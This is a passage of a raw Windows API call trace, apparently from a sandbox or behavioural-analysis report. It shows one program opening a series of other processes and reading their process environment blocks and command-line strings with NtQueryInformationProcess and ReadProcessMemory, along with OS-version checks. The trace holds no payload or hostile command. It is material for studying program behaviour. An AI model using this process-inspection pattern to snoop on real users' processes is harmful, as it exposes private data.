ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.718] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x252b60c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.718] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.718] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e739033e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.718] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73903048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.722] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.723] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.723] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x252b60c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.723] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73902a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.723] malloc (_Size=0x5e) returned 0x20abc2801b0 [0275.723] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73903088, lpBuffer=0x20abc2801b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0275.724] free (_Block=0x20abc2801b0) [0275.725] CloseHandle (hObject=0x16c) returned 1 [0275.725] _ui64tow_s (in: _Value=0x294, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="660") returned 0x0 [0275.729] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="660") returned 3 [0275.730] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.730] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.743] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x16c [0275.743] GetLastError () returned 0x0 [0275.744] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.744] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xab53d9d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.744] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.744] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9303450, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.744] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa93030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.745] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.747] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.747] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xab53d9d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.747] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9302ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.747] malloc (_Size=0x54) returned 0x20abc2a7b40 [0275.747] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9303108, lpBuffer=0x20abc2a7b40, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7b40*, lpNumberOfBytesRead=0x0) returned 1 [0275.748] free (_Block=0x20abc2a7b40) [0275.748] CloseHandle (hObject=0x16c) returned 1 [0275.749] _ui64tow_s (in: _Value=0x304, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="772") returned 0x0 [0275.763] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="772") returned 3 [0275.764] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.764] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.776] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x304) returned 0x16c [0275.776] GetLastError () returned 0x0 [0275.778] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.778] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14042d3018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.778] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.778] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c19f0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.778] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c16e8, lpBuffer=0x2dc22fc240, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.779] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.781] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.781] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14042d3020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.781] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c10d0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.781] malloc (_Size=0x16) returned 0x20abc281a80 [0275.781] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c1720, lpBuffer=0x20abc281a80, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281a80*, lpNumberOfBytesRead=0x0) returned 1 [0275.781] free (_Block=0x20abc281a80) [0275.782] CloseHandle (hObject=0x16c) returned 1 [0275.783] _ui64tow_s (in: _Value=0x364, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="868") returned 0x0 [0275.786] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="868") returned 3 [0275.787] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.787] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.800] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x364) returned 0x16c [0275.800] GetLastError () returned 0x0 [0275.802] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.802] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14a30a018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.802] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.802] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea6033e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.802] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea603048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.803] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.805] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.805] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14a30a020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.805] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea602a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.805] malloc (_Size=0x58) returned 0x20abc2a78a0 [0275.805] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea603088, lpBuffer=0x20abc2a78a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a78a0*, lpNumberOfBytesRead=0x0) returned 1 [0275.806] free (_Block=0x20abc2a78a0) [0275.807] CloseHandle (hObject=0x16c) returned 1 [0275.807] _ui64tow_s (in: _Value=0x37c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="892") returned 0x0 [0275.811] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="892") returned 3 [0275.812] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.812] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.826] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x16c [0275.826] GetLastError () returned 0x0 [0275.827] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc818199018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f03470, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.829] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.830] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.830] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc818199020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.830] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f02ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.830] malloc (_Size=0x74) returned 0x20abc282120 [0275.831] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f03108, lpBuffer=0x20abc282120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0275.831] free (_Block=0x20abc282120) [0275.832] CloseHandle (hObject=0x16c) returned 1 [0275.832] _ui64tow_s (in: _Value=0x390, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="912") returned 0x0 [0275.836] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="912") returned 3 [0275.837] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.837] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.852] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x390) returned 0x16c [0275.852] GetLastError () returned 0x0 [0275.853] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.853] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc222932018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.853] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.854] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f03480, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.854] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.855] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.856] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.857] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc222932020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.857] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f02ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.857] malloc (_Size=0x84) returned 0x20abc2861d0 [0275.857] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f03108, lpBuffer=0x20abc2861d0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2861d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.858] free (_Block=0x20abc2861d0) [0275.858] CloseHandle (hObject=0x16c) returned 1 [0275.859] _ui64tow_s (in: _Value=0x3a0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="928") returned 0x0 [0275.863] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="928") returned 3 [0275.863] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.864] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a0) returned 0x16c [0275.876] GetLastError () returned 0x0 [0275.878] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2832795018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8603480, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.878] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff86030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.879] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.881] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.881] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2832795020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.881] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8602ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.881] malloc (_Size=0x86) returned 0x20abc2857b0 [0275.881] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8603108, lpBuffer=0x20abc2857b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2857b0*, lpNumberOfBytesRead=0x0) returned 1 [0275.882] free (_Block=0x20abc2857b0) [0275.882] CloseHandle (hObject=0x16c) returned 1 [0275.883] _ui64tow_s (in: _Value=0x3f0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1008") returned 0x0 [0275.886] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1008") returned 4 [0275.887] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.887] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.901] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f0) returned 0x16c [0275.901] GetLastError () returned 0x0 [0275.902] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.902] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x44e609d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.902] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.903] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5103460, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.903] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa51030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.904] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.905] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.905] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x44e609d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.906] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5102ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.906] malloc (_Size=0x62) returned 0x20abc2801b0 [0275.906] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5103108, lpBuffer=0x20abc2801b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 